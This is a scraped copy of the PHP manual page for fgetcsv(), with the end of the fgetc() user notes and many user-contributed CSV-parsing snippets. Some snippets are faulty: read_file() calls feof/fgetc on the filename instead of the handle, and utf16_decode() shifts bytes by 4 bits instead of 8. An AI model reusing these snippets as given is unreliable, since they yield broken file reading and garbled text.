If you want to read a file and the fgets function doesn't work, you can try this function :
<?php
function read_file($file) {
     $handle = fopen($file, "rb");
     if($handle) {
          while(!feof($file)) {
                $buffer = fgetc($file);
                echo $buffer;
          }
     }
     else {
          echo "ERROR : Could not open ".$file." !";
     }
}
?>

I've tried this function on 30-40 Ko's files.
sfinktah at php dot spamtrak dot org 22-Mar-2011 03:33
To read a single key-press in CLI mode, you can either use ncurses (which will probably require additional modules for PHP) or get nasty with the *nix "/bin/stty" command)

<?php
   function stty($options) {
      exec($cmd = "/bin/stty $options", $output, $el);
      $el AND die("exec($cmd) failed");
      return implode(" ", $output);
   }

   function getchar($echo = false) {
      $echo = $echo ? "" : "-echo";

      # Get original settings
      $stty_settings = preg_replace("#.*; ?#s", "", stty("--all"));

      # Set new ones
      stty("cbreak $echo");

      # Get characters until a PERIOD is typed,
      # showing their hexidecimal ordinal values.
      printf("> ");
      do {
         printf("%02x ", ord($c = fgetc(STDIN)));
      } while ($c != '.');

      # Return settings
      stty($stty_settings);
   }

   getchar();
?>
alex at alexdemers dot me 11-May-2009 07:30
The best and simplest way to get input from a user in the CLI with only PHP is to use fgetc() function with the STDIN constant:

<?php

echo 'Are you sure you want to quit? (y/n) ';
$input = fgetc(STDIN);

if ($input == 'y')
{
    exit(0);
}

?>
ktraas at gmail dot com (Kevin Traas) 24-Mar-2009 04:08
I was using command-line PHP to create an interactive script and wanted the user to enter just one character of input - in response a Yes/No question.  Had some trouble finding a way to do so using fgets(), fgetc(), various suggestions using readline(), popen(), etc.  Came up with the following that works quite nicely:

$ans = strtolower( trim( `bash -c "read -n 1 -t 10 ANS ; echo \\\$ANS"` ) );


Gets line from file pointer and parse for CSV fields

  • « fgetc
  • fgets »
  • PHP Manual
  • Filesystem Functions
  • Gets line from file pointer and parse for CSV fields

fgetcsv

(PHP 4, PHP 5)

fgetcsv — Gets line from file pointer and parse for CSV fields

Description

array fgetcsv ( resource $handle [, int $length = 0 [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\\" ]]]] )

Similar to fgets() except that fgetcsv() parses the line it reads for fields in CSV format and returns an array containing the fields read.

Parameters

handle

A valid file pointer to a file successfully opened by fopen(), popen(), or fsockopen().

length

Must be greater than the longest line (in characters) to be found in the CSV file (allowing for trailing line-end characters). It became optional in PHP 5. Omitting this parameter (or setting it to 0 in PHP 5.1.0 and later) the maximum line length is not limited, which is slightly slower.

delimiter

Set the field delimiter (one character only).

enclosure

Set the field enclosure character (one character only).

escape

Set the escape character (one character only). Defaults as a backslash.

Return Values

Returns an indexed array containing the fields read.

Note:

A blank line in a CSV file will be returned as an array comprising a single null field, and will not be treated as an error.

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

fgetcsv() returns NULL if an invalid handle is supplied or FALSE on other errors, including end of file.

Changelog

Version | Description
5.3.0 | The escape parameter was added
5.1.0 | The length is now optional. Default is 0, meaning no length limit.
4.3.5 | fgetcsv() is now binary safe

Examples

Example #1 Read and print the entire contents of a CSV file

<?php
$row = 1;
if (($handle = fopen("test.csv", "r")) !== FALSE) {
    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
        $num = count($data);
        echo "<p> $num fields in line $row: <br /></p>\n";
        $row++;
        for ($c=0; $c < $num; $c++) {
            echo $data[$c] . "<br />\n";
        }
    }
    fclose($handle);
}
?>

Notes

Note:

Locale setting is taken into account by this function. If LANG is e.g. en_US.UTF-8, files in one-byte encoding are read wrong by this function.

See Also

  • str_getcsv() - Parse a CSV string into an array
  • explode() - Split a string by string
  • file() - Reads entire file into an array
  • pack() - Pack data into binary string
  • fputcsv() - Format line as CSV and write to file pointer

User Contributed Notes

tomasz at marcinkowski dot pl 12-Sep-2013 05:48
For anyone else struggling with disappearing non-latin characters in one-byte encodings - setting LANG env var (as the manual states) does not help at all. Look at LC_ALL instead.

In my case it was set to "pl_PL.utf8" but since my input file was in CP1250 most of polish characters (but not all of them!) had gone missing and city of "Łódź" had become just "dź". I've "fixed" it with "pl_PL".
sander at NOSPAM dot rotorsolutions dot nl 27-Aug-2013 09:49
If you don't want to define an enclosure charachter you can do the following:

<?php
  $row = fgetcsv($handle, 0, $delimiter, 0x00);
?>

I needed this to detect the enclosure used for csv files.
michael dot arnauts at gmail dot com 14-Mar-2012 10:19
fgetcsv seems to handle newlines within fields fine. So in fact it is not reading a line, but keeps reading untill it finds a \n-character that's not quoted as a field.

Example:

<?php
/* test.csv contains:
"col 1","col2","col3"
"this
is
having
multiple
lines","this not","this also not"
"normal record","nothing to see here","no data"
*/

$handle = fopen("test.csv", "r");
while (($data = fgetcsv($handle)) !== FALSE) {
    var_dump($data);
}
?>

Returns:
array(3) {
  [0]=>
  string(5) "col 1"
  [1]=>
  string(4) "col2"
  [2]=>
  string(4) "col3"
}
array(3) {
  [0]=>
  string(29) "this
is
having
multiple
lines"
  [1]=>
  string(8) "this not"
  [2]=>
  string(13) "this also not"
}
array(3) {
  [0]=>
  string(13) "normal record"
  [1]=>
  string(19) "nothing to see here"
  [2]=>
  string(7) "no data"
}

This means that you can expect fgetcsv to handle newlines within fields fine. This was not clear from the documentation.
nick at atomicdesign dot net 13-Jan-2012 09:48
I was getting a bytes exhausted error when iterating through a CSV file. ini_set('auto_detect_line_endings', 1); fixed it.
ifedinachukwu at yahoo dot com 05-Apr-2011 02:43
I had a csv file whose fields included data with line endings (CRLF created by hitting the carriage returns in html textarea). Of course, the LF in these fields was escaped by MySQL during the creation of the csv. Problem is I could NOT get fgetcsv to work correctly here, since each and every LF was regarded as the end of a line of the csv file, even when it was escaped!

Since what I wanted was to get THE FIRST LINE of the csv file, then count the number of fields by exploding on all unescaped commas, I had to resort to this:

<?php
/*
First five lines of csv: the 4th row has a line-break within  a data field. The LFs represent line-feeds or \n
1,okonkwo joseph,nil,2010-01-12 17:41:40LF
2,okafor john,cq and sulphonamides,2010-01-12 17:58:03LF
3,okoye andrew,lives with hubby in abuja,2011-03-30 13:39:19LF
4,okeke peter,In 2001\, had appendicectomy in AbaCR
\LF
In 2004\, had ELCS at a private hoapital in Lagos,2011-03-30 13:39:19LF
5,adewale chris,cq and sulphonamides,2010-01-12 17:58:03LF

*/

        $fp = fopen('file.csv', 'r');
        $i = 1;
        $str='';
        $srch='';
            while (false !== ($char = fgetc($fp))) {
                $str .= $char;//use this to collect the string for outputting
                $srch .= $char;//use this to search for LF, possible preceded by \'
                if(strlen($srch) > 2){
                    $srch = substr($srch, 1);//ie trim off the first char
                }
                if($i > 1 && $srch[1] == chr(10) && $srch[0] != '\\'){//chr(10) is LF, ie \n
                    break;//if you get to the \n NOT preceded by \, that's the real line-ending, stop collecting the string;
                }

            $i++;
        }
        echo $str;//should contain the first line as string

?>
Perhaps there exists a more elegant solution to this issue, in which case I'd be glad to know!
Anonymous 19-Feb-2011 02:23
NOTE: i think the example in this page should be changed. I think the following line should be added to just inside the while loop:

if( $data === true ) die('PAY ATTENTION DUMMY');

The reasoning for this, is if the user happens to take out the seemingly "extra" brackets around the "$data" part, they will get a while bunch of rows where all they get is the value true instead of an array. This way, if the user borrows the code but then later on removes the seemingly "extra" brackets, they have something keeping them safe from themselves at least.

I say this because this just happened to some poorly designed code in a system I manage, that as a result caused a whole bunch of blank records to be imported into a database.
Anonymous 19-Feb-2011 01:52
NOTE: the 5th parameter was apparently not added until 5.3.0 yet the documentation on this page fails to mention this.
Kjeld 10-Dec-2010 07:58
The fgetcsv() is really great. CSV files are not as simple as they seem. They may span multiple lines, contain unmatched double quotes (like: 32" screen size) and lot of other surprising variants. My problem was that I had an ISO-8859-1 encoded file and fgetcsv() expects it to be UTF-8 encoded. I tried with a range of regular expressions I found on the Internet but none of them worked 100 %. So, if you haven't discovered it yet: fgetcsv() is king. My server doesn't have str_getcsv() so I had to figure out some way to use fgetcsv() for my ISO-8859-1 files.

I found the answer here: http://bugs.php.net/bug.php?id=48507. So I ended up with:

<?php
class utf8encode_filter extends php_user_filter
{
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = utf8_encode($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}
?>

and

<?php
$fp = @fopen($fileName, "r");
stream_filter_register("utf8encode", "utf8encode_filter")
  or die("Failed to register filter");
stream_filter_prepend($fp, "utf8encode");
?>
matasbi at gmail dot com 08-Dec-2010 05:22
Parse from Microsoft Excel "Unicode Text (*.txt)" format:

<?php
function parse($file) {
    if (($handle = fopen($file, "r")) === FALSE) return;
    while (($cols = fgetcsv($handle, 1000, "\t")) !== FALSE) {
        foreach( $cols as $key => $val ) {
            $cols[$key] = trim( $cols[$key] );
            $cols[$key] = iconv('UCS-2', 'UTF-8', $cols[$key]."\0") ;
            $cols[$key] = str_replace('""', '"', $cols[$key]);
            $cols[$key] = preg_replace("/^\"(.*)\"$/sim", "$1", $cols[$key]);
        }
        echo print_r($cols, 1);
    }
}
?>
code at ashleyhunt dot co dot uk 04-Dec-2010 04:14
I needed a function to analyse a file for delimiters and line endings prior to importing the file into MySQL using LOAD DATA LOCAL INFILE

I wrote this function to do the job, the results are (mostly) very accurate and it works nicely with large files too.
<?php
function analyse_file($file, $capture_limit_in_kb = 10) {
    // capture starting memory usage
    $output['peak_mem']['start']    = memory_get_peak_usage(true);

    // log the limit how much of the file was sampled (in Kb)
    $output['read_kb']                 = $capture_limit_in_kb;

    // read in file
    $fh = fopen($file, 'r');
        $contents = fread($fh, ($capture_limit_in_kb * 1024)); // in KB
    fclose($fh);

    // specify allowed field delimiters
    $delimiters = array(
        'comma'     => ',',
        'semicolon' => ';',
        'tab'         => "\t",
        'pipe'         => '|',
        'colon'     => ':'
    );

    // specify allowed line endings
    $line_endings = array(
        'rn'         => "\r\n",
        'n'         => "\n",
        'r'         => "\r",
        'nr'         => "\n\r"
    );

    // loop and count each line ending instance
    foreach ($line_endings as $key => $value) {
        $line_result[$key] = substr_count($contents, $value);
    }

    // sort by largest array value
    asort($line_result);

    // log to output array
    $output['line_ending']['results']     = $line_result;
    $output['line_ending']['count']     = end($line_result);
    $output['line_ending']['key']         = key($line_result);
    $output['line_ending']['value']     = $line_endings[$output['line_ending']['key']];
    $lines = explode($output['line_ending']['value'], $contents);

    // remove last line of array, as this maybe incomplete?
    array_pop($lines);

    // create a string from the legal lines
    $complete_lines = implode(' ', $lines);

    // log statistics to output array
    $output['lines']['count']     = count($lines);
    $output['lines']['length']     = strlen($complete_lines);

    // loop and count each delimiter instance
    foreach ($delimiters as $delimiter_key => $delimiter) {
        $delimiter_result[$delimiter_key] = substr_count($complete_lines, $delimiter);
    }

    // sort by largest array value
    asort($delimiter_result);

    // log statistics to output array with largest counts as the value
    $output['delimiter']['results']     = $delimiter_result;
    $output['delimiter']['count']         = end($delimiter_result);
    $output['delimiter']['key']         = key($delimiter_result);
    $output['delimiter']['value']         = $delimiters[$output['delimiter']['key']];

    // capture ending memory usage
    $output['peak_mem']['end'] = memory_get_peak_usage(true);
    return $output;
}
?>

Example Usage:
<?php
$Array = analyse_file('/www/files/file.csv', 10);

// example usable parts
// $Array['delimiter']['value'] => ,
// $Array['line_ending']['value'] => \r\n
?>

Full function output:
Array
(
    [peak_mem] => Array
        (
            [start] => 786432
            [end] => 786432
        )

    [line_ending] => Array
        (
            [results] => Array
                (
                    [nr] => 0
                    [r] => 4
                    [n] => 4
                    [rn] => 4
                )

            [count] => 4
            [key] => rn
            [value] =>

        )

    [lines] => Array
        (
            [count] => 4
            [length] => 94
        )

    [delimiter] => Array
        (
            [results] => Array
                (
                    [colon] => 0
                    [semicolon] => 0
                    [pipe] => 0
                    [tab] => 1
                    [comma] => 17
                )

            [count] => 17
            [key] => comma
            [value] => ,
        )

    [read_kb] => 10
)

Enjoy!

Ashley
mustafa dot kachwala at gmail dot com 25-Oct-2010 10:59
A simple function to return 2 Dimensional array by parsing a CSV file.

<?php
    function get2DArrayFromCsv($file,$delimiter) {
        if (($handle = fopen($file, "r")) !== FALSE) {
            $i = 0;
            while (($lineArray = fgetcsv($handle, 4000, $delimiter)) !== FALSE) {
                for ($j=0; $j<count($lineArray); $j++) {
                    $data2DArray[$i][$j] = $lineArray[$j];
                }
                $i++;
            }
            fclose($handle);
        }
        return $data2DArray;
    }
?>
jack dot peterson at gmail dot com 06-Oct-2010 01:30
If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)

<?php

# Open the File.
if (($handle = fopen("rawdata.csv", "r")) !== FALSE) {
    # Set the parent multidimensional array key to 0.
    $nn = 0;
    while (($data = fgetcsv($handle, 0, ",")) !== FALSE) {
        # Count the total keys in the row.
        $c = count($data);
        # Populate the multidimensional array.
        for ($x=0;$x<$c;$x++)
        {
            $csvarray[$nn][$x] = $data[$x];
        }
        $nn++;
    }
    # Close the File.
    fclose($handle);
}

// take the row'ified data and columnize the array
function columnizeArray($csvarray) {
    $array = array();
    foreach($csvarray as $key=>$value) {
        // reparse into useful array data.
        if ($key == 0) {
            foreach ($value AS $key2=>$value2) {
                $array[$key2] = array();
                $array[$key2][] = $value2;
            }
        }else if ($key > 0){
            foreach ($value as $key3=>$value3) {
                $array[$key3][] = $value3;
            }
        }else{
        }
    }
    return $array;
}
function groupColumns($array = null) {
    $array2 = array();
    foreach ($array as $k=>$v) {
        // procss each column
        // $k = column number
        // $v = array of rows
        if ($k == 0) {}else{ // working on column 2 or higher
            $array2[$v[0]] = array();
            foreach ($array[0] as $k1=>$v1) {
                if ($v1 > 0) { // ignore the column heading
                    // store the first column variable in as the key.
                    // Store the value associated with this item as the value.
                    $array2[$v[0]][$v1] = $v[$k1];
                }
            }
     }
    }
    return $array2;
}

$array2 = groupColumns(columnizeArray($csvarray));

print_r($array2);

?>
Xander 29-Sep-2010 10:42
I had a problem with multibytes. File was windows-1250, script was UTF-8 and set_locale wasn't work so I made a simple and safe workaround:

<?php
$fc = iconv('windows-1250', 'utf-8', file_get_contents($_FILES['csv']['tmp_name']));

            file_put_contents('tmp/import.tmp', $fc);
            $handle = fopen('tmp/import.tmp', "r");
            $rows = array();
            while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

                $rows[] = $data;

            }
            fclose($handle);
            unlink('tmp/import.tmp');
?>

I hope You will find it out usefull.
Sorry for my english.
do not spam aleske at live dot ru 08-Jul-2010 03:38
The PHP's CSV handling stuff is non-standard and contradicts with RFC4180, thus fgetcsv() cannot properly deal with files like this example from Wikipedia:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

Please note: the enclosure symbol is doubled inside fields, field data can contain linebreaks, and there is no real escape symbol. Also, fputcsv() creates non-standard CSV files.

There is a quick and dirty RFC-compliant realization of CSV creation and parsing:

<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $string = '';
  $o = array();

  foreach ($items as $item) {
    if (stripos($item, $CSV_ENCLOSURE) !== false) {
      $item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
    }

    if ((stripos($item, $CSV_SEPARATOR) !== false)
     || (stripos($item, $CSV_ENCLOSURE) !== false)
     || (stripos($item, $CSV_LINEBREAK !== false))) {
      $item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
    }

    $o[] = $item;
  }

  $string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;

  return $string;
}

function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $o = array();

  $cnt = strlen($string);
  $esc = false;
  $escesc = false;
  $num = 0;
  $i = 0;
  while ($i < $cnt) {
    $s = $string[$i];

    if ($s == $CSV_LINEBREAK) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $i++;
        break;
      }
    } elseif ($s == $CSV_SEPARATOR) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $num++;
        $esc = false;
        $escesc = false;
      }
    } elseif ($s == $CSV_ENCLOSURE) {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      if ($esc) {
        $esc = false;
        $escesc = true;
      } else {
        $esc = true;
        $escesc = false;
      }
    } else {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      $o[$num] .= $s;
    }

    $i++;
  }

//  $string = substr($string, $i);

  return $o;
}
?>

References:
RFC4180 - http://tools.ietf.org/html/rfc4180
Wikipedia - http://en.wikipedia.org/wiki/Comma-separated_values#Example

Also, there is complete solution of CSV handling at http://code.google.com/p/parsecsv-for-php/
carloshNOSPAM at 4sconsult dot com 19-Jun-2010 02:42
For my surprise this function using 5.3.2 on windows now when it reads an empty line it returns FALSE instead of an empty array as the previous versions. This affect code that do not check the result and tries something like this:

<?php
while(!feof($fp)){
 $line=fgetcsv($fp,4096,',','"');
 foreach($line as $key=>$value){
  // ....
 }
}
?>

when it was empty array this foreach pass ok but now with FALSE gives this error:

Invalid argument supplied for foreach()

Anyways, it is good idea to check what you getting before process further. This following line will fix the existing code.

if(!$line=fgetcsv($fp,4096,',','"') continue;
jonathangrice at yahoo dot com 15-Jun-2010 04:14
This is how to read a csv file into a multidimensional array.

 <?php
    # Open the File.
    if (($handle = fopen("file.csv", "r")) !== FALSE) {
        # Set the parent multidimensional array key to 0.
        $nn = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            # Count the total keys in the row.
            $c = count($data);
            # Populate the multidimensional array.
            for ($x=0;$x<$c;$x++)
            {
                $csvarray[$nn][$x] = $data[$x];
            }
            $nn++;
        }
        # Close the File.
        fclose($handle);
    }
    # Print the contents of the multidimensional array.
    print_r($csvarray);
?>
marklark at mac dot com 27-May-2010 05:43
If you have a good idea of the max length of the line you're importing, it's a very good idea to enter the "optional" length parameter.

You may be very pleasantly surprised.  (In my recent experience(YMMV), from an hour down to 21 seconds!)
matthias dot isler at gmail dot com 29-Apr-2010 01:54
If you want to load some translations for your application, don't use csv files for that, even if it's easier to handle.

The following code snippet:

<?php
$lang = array();

$handle = fopen('en.csv', 'r');

while($row = fgetcsv($handle, 500, ';'))
{
    $lang[$row[0]] = $row[1];
}

fclose($handle);
?>

is about 400% slower than this code:

<?php
$lang = array();

$values = parse_ini_file('de.ini');

foreach($values as $key => $val)
{
    $lang[$key] = $val;
}
?>

That's the reason why you should allways use .ini files for translations...

http://php.net/parse_ini_file
kent at marketruler dot com 05-Feb-2010 07:18
Note that fgetcsv, at least in PHP 5.3 or previous, will NOT work with UTF-16 encoded files. Your options are to convert the entire file to ISO-8859-1 (or latin1), or convert line by line and convert each line into ISO-8859-1 encoding, then use str_getcsv (or compatible backwards-compatible implementation). If you need to read non-latin alphabets, probably best to convert to UTF-8.

See str_getcsv for a backwards-compatible version of it with PHP < 5.3, and see utf8_decode for a function written by Rasmus Andersson which provides utf16_decode. The modification I added was that the BOP appears at the top of the file, then not on subsequent lines. So you need to store the endian-ness, and then re-send it upon each subsequent line decoding. This modified version returns the endianness, if it's not available:

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 * From: http://php.net/manual/en/function.utf8-decode.php
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode($str, &$be=null) {
    if (strlen($str) < 2) {
        return $str;
    }
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    $start = 0;
    if ($c0 == 0xFE && $c1 == 0xFF) {
        $be = true;
        $start = 2;
    } else if ($c0 == 0xFF && $c1 == 0xFE) {
        $start = 2;
        $be = false;
    }
    if ($be === null) {
        $be = true;
    }
    $len = strlen($str);
    $newstr = '';
    for ($i = $start; $i < $len; $i += 2) {
        if ($be) {
            $val = ord($str{$i})   << 4;
            $val += ord($str{$i+1});
        } else {
            $val = ord($str{$i+1}) << 4;
            $val += ord($str{$i});
        }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>

Trying the "setlocale" trick did not work for me, e.g.

<?php
setlocale(LC_CTYPE, "en.UTF16");
$line = fgetcsv($file, ...)
?>

But that's perhaps because my platform didn't support it. However, fgetcsv only supports single characters for the delimiter, etc. and complains if you pass in a UTF-16 version of said character, so I gave up on that rather quickly.

Hope this is helpful to someone out there.
jaimthorn at yahoo dot com 04-Dec-2009 11:38
I used fgetcsv to read pipe-delimited data files, and ran into the following quirk.

The data file contained data similar to this:

RECNUM|TEXT|COMMENT
1|hi!|some comment
2|"error!|another comment
3|where does this go?|yet another comment
4|the end!"|last comment

I read the file like this:

<?php
$row = fgetcsv( $fi, $length, '|' );
?>

This causes a problem on record 2: the quote immediately after the pipe causes the file to be read up to the following quote --in this case, in record 4.  Everything in between was stored in a single element of $row.

In this particular case it is easy to spot, but my script was processing thousands of records and it took me some time to figure out what went wrong.

The annoying thing is, that there doesn't seem to be an elegant fix.  You can't tell PHP not to use an enclosure --for example, like this:

<?php
$row = fgetcsv( $fi, $length, '|', '' );
?>

(Well, you can tell PHP that, but it doesn't work.)

So you'd have to resort to a solution where you use an extremely unlikely enclosure, but since the enclosure can only be one character long, it may be hard to find.

Alternatively (and IMNSHO: more elegantly), you can choose to read these files like this, instead:

<?php
$line = fgets( $fi, $length );
$row = explode( '|', $line );
?>

As it's more intuitive and resilient, I've decided to favor this 'construct' over fgetcsv from now on.
jaimthorn at yahoo dot com 31-Jan-2009 11:13
Currently, I'm working on a script that takes data exported from one database and converts it so that it can be imported in another.  I have been given a bunch of CSV files containing data to make the translation possible --actually, the values are semi-colon separated, not comma-separated.

The following script reads a CSV file with field names on the first line (for an example, see below the script), and turns it into a hash table where the key is one of the fields.

<?php
define('ON_COLLISION_OVERWRITE', 1);
define('ON_COLLISION_SKIP'     , 2);
define('ON_COLLISION_ABORT'    , 3);

/**
 *  Reads a CSV file and stores it as a lookup table, implemented as a PHP hash table.
 *
 *  @param  string  $csv_file       the CSV file to read.
 *  @param  string  $sep_input      the character that is used in the CSV file as field separator.
 *  @param  string  $sep_index      the character that separates the fields used to construct the hash table's index.
 *  @param  array   $index_by       the array containing the columns to index the lookup table by, and the function to pre-process those columns with.
 *  @param  integer $on_collision       a constant that determines what to do when an index is already in use.
 *  @param  integer $rec_len        the maximum length of a record in the input file.
 *  @return mixed                   an error number or the resulting hash table.
 */
function read_lookup_table_from_csv( $csv_file
                                  , $separator_input = ';'
                                  , $separator_index = '|'
                                  , $index_by        = array(0 => '')
                                  , $on_collision    = ON_COLLISION_ABORT
                                  , $rec_len         = 1024
                                  )
{
   $handle = fopen($csv_file, 'r');
   if($handle == null || ($data = fgetcsv($handle, $rec_len, $separator_input)) === false)
   {
       // Couldn't open/read from CSV file.
       return -1;
   }

   $names = array();
   foreach($data as $field)
   {
       $names[] = trim($field);
   }

   $indexes = array();
   foreach($index_by as $index_in => $function)
   {
       if(is_int($index_in))
       {
           if($index_in < 0 || $index_in > count($data))
           {
               // Index out of bounds.
               fclose($handle);
               return -2;
           }

           $index_out = $index_in;
       }
       else
       {
           // If a column that is used as part of the key to the hash table is supplied
           // as a name rather than as an integer, then determine that named column's
           // integer index in the $names array, because the integer index is used, below.
           $get_index = array_keys($names, $index_in);
           $index_out = $get_index[0];

           if(is_null($index_out))
           {
               // A column name was given (as opposed to an integer index), but the
               // name was not found in the first row that was read from the CSV file.
               fclose($handle);
               return -3;
           }
       }

       $indexes[$index_out] = $function;
   }

   if(count($indexes) == 0)
   {
       // No columns were supplied to index by.
       fclose($handle);
       return -4;
   }

   $retval = array();
   while(($data = fgetcsv($handle, $rec_len, $separator_input)) !== false)
   {
       $index_by = '';
       foreach($indexes as $index => $function)
       {
           $index_by .= ($function ? $function($data[$index]) : $data[$index]) . $separator_index;
       }
       $index_by = substr($index_by, 0, -1);

       if(isset($retval[$index_by]))
       {
           switch($on_collision)
           {
               case ON_COLLISION_OVERWRITE     : $retval[$index_by] = array_combine($names, $data);
               case ON_COLLISION_SKIP          : break;
               case ON_COLLISION_ABORT         : return -5;
           }
       }
       else
       {
           $retval[$index_by] = array_combine($names, $data);
       }
   }
   fclose($handle);

   return $retval;
}
?>

Assume the CSV file DaysOfWeek.csv contains this:

DayNo;DayName;DayAbbr
0;Sunday;Sun
1;Monday;Mon
2;Tuesday;Tue
3;Wednesday;Wed
4;Thursday;Thu
5;Friday;Fri
6;Saturday;Sat

(Reproduced in full as a service to you, dear reader, so you can more easily test the script if you wish. :-)

Now,

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv');
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 0);
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayNo');
?>

will all read the file, and index it using the contents of the zero'th column as an index.

<?php
echo 'The name of day #3 is ', $days[3]['DayName'];
?>

Alternatively, you can use the function like this

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayName');
echo 'The abbreviation of Friday is ', $days['Friday']['DayAbbr'];
?>

or like this

<?php
$days = read_lookup_table_from_csv('DaysOfWeek.csv', 'DayAbbr');
echo 'The full name of Fri is ', $days['Fri']['DayName'];
?>

Typically, of course, the first index to $days will be a variable rather than a literal/constant, allowing for easy translation of one value to another.

[EDIT BY danbrown AT php DOT net: Updated by the original poster on 2009-03-06 to fix two typos.]
james dot ellis at gmail dot com 24-Nov-2008 07:19
If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after:

This will work:
<?php
ini_set('auto_detect_line_endings',TRUE);
$handle = fopen('/path/to/file','r');
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>

This won't, you will still get concatenated fields at the new line position:
<?php
$handle = fopen('/path/to/file','r');
ini_set('auto_detect_line_endings',TRUE);
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>
michael dot martinek at gmail dot com 09-Oct-2008 06:12
Here's something I put together this morning. It allows you to read rows from your CSV and get values based on the name of the column. This works great when your header columns are not always in the same order; like when you're processing many feeds from different customers. Also makes for cleaner, easier to manage code.

So if your feed looks like this:

product_id,category_name,price,brand_name, sku_isbn_upc,image_url,landing_url,title,description
123,Test Category,12.50,No Brand,0,http://www.example.com, http://www.example.com/landing.php, Some Title,Some Description

You can do:
<?php
while ($o->getNext())
{
   $dPrice = $o->getPrice();
   $nProductID = $o->getProductID();
   $sBrandName = $o->getBrandName();
}
?>

If you have any questions or comments regarding this class, they can be directed to michael.martinek@gmail.com as I probably won't be checking back here.

<?php
    define('C_PPCSV_HEADER_RAW',        0);
    define('C_PPCSV_HEADER_NICE',        1);

    class PaperPear_CSVParser
    {
        private $m_saHeader = array();
        private $m_sFileName = '';
        private $m_fp = false;
        private $m_naHeaderMap = array();
        private $m_saValues = array();

        function __construct($sFileName)
        {
            //quick and dirty opening and processing.. you may wish to clean this up
            if ($this->m_fp = fopen($sFileName, 'r'))
            {
                $this->processHeader();
            }
        }

          function __call($sMethodName, $saArgs)
        {
            //check to see if this is a set() or get() request, and extract the name
            if (preg_match("/[sg]et(.*)/", $sMethodName, $saFound))
            {
                //convert the name portion of the [gs]et to uppercase for header checking
                $sName = strtoupper($saFound[1]);

                //see if the entry exists in our named header-> index mapping
                  if (array_key_exists($sName, $this->m_naHeaderMap))
                  {
                      //it does.. so consult the header map for which index this header controls
                      $nIndex = $this->m_naHeaderMap[$sName];
                      if ($sMethodName{0} == 'g')
                      {
                          //return the value stored in the index associated with this name
                             return $this->m_saValues[$nIndex];
                      }
                      else
                      {
                          //set the valuw
                          $this->m_saValues[$nIndex] = $saArgs[0];
                          return true;
                      }
                  }
            }

            //nothing we control so bail out with a false
              return false;
          }

          //get a nicely formatted header name. This will take product_id and make
          //it PRODUCTID in the header map. So now you won't need to worry about whether you need
          //to do a getProductID, or getproductid, or getProductId.. all will work.
        public static function GetNiceHeaderName($sName)
        {
            return strtoupper(preg_replace('/[^A-Za-z0-9]/', '', $sName));
        }

        //process the header entry so we can map our named header fields to a numerical index, which
        //we'll use when we use fgetcsv().
        private function processHeader()
        {
            $sLine = fgets($this->m_fp);
                        //you'll want to make this configurable
            $saFields = split(",", $sLine);

            $nIndex = 0;
            foreach ($saFields as $sField)
            {
                //get the nice name to use for "get" and "set".
                $sField = trim($sField);

                $sNiceName = PaperPear_CSVParser::GetNiceHeaderName($sField);

                //track correlation of raw -> nice name so we don't have to do on-the-fly nice name checks
                $this->m_saHeader[$nIndex] = array(C_PPCSV_HEADER_RAW => $sField, C_PPCSV_HEADER_NICE => $sNiceName);
                $this->m_naHeaderMap[$sNiceName] = $nIndex;
                $nIndex++;
            }
        }

        //read the next CSV entry
        public function getNext()
        {
            //this is a basic read, you will likely want to change this to accomodate what
            //you are using for CSV parameters (tabs, encapsulation, etc).
            if (($saValues = fgetcsv($this->m_fp)) !== false)
            {
                $this->m_saValues = $saValues;
                return true;
            }
            return false;
        }
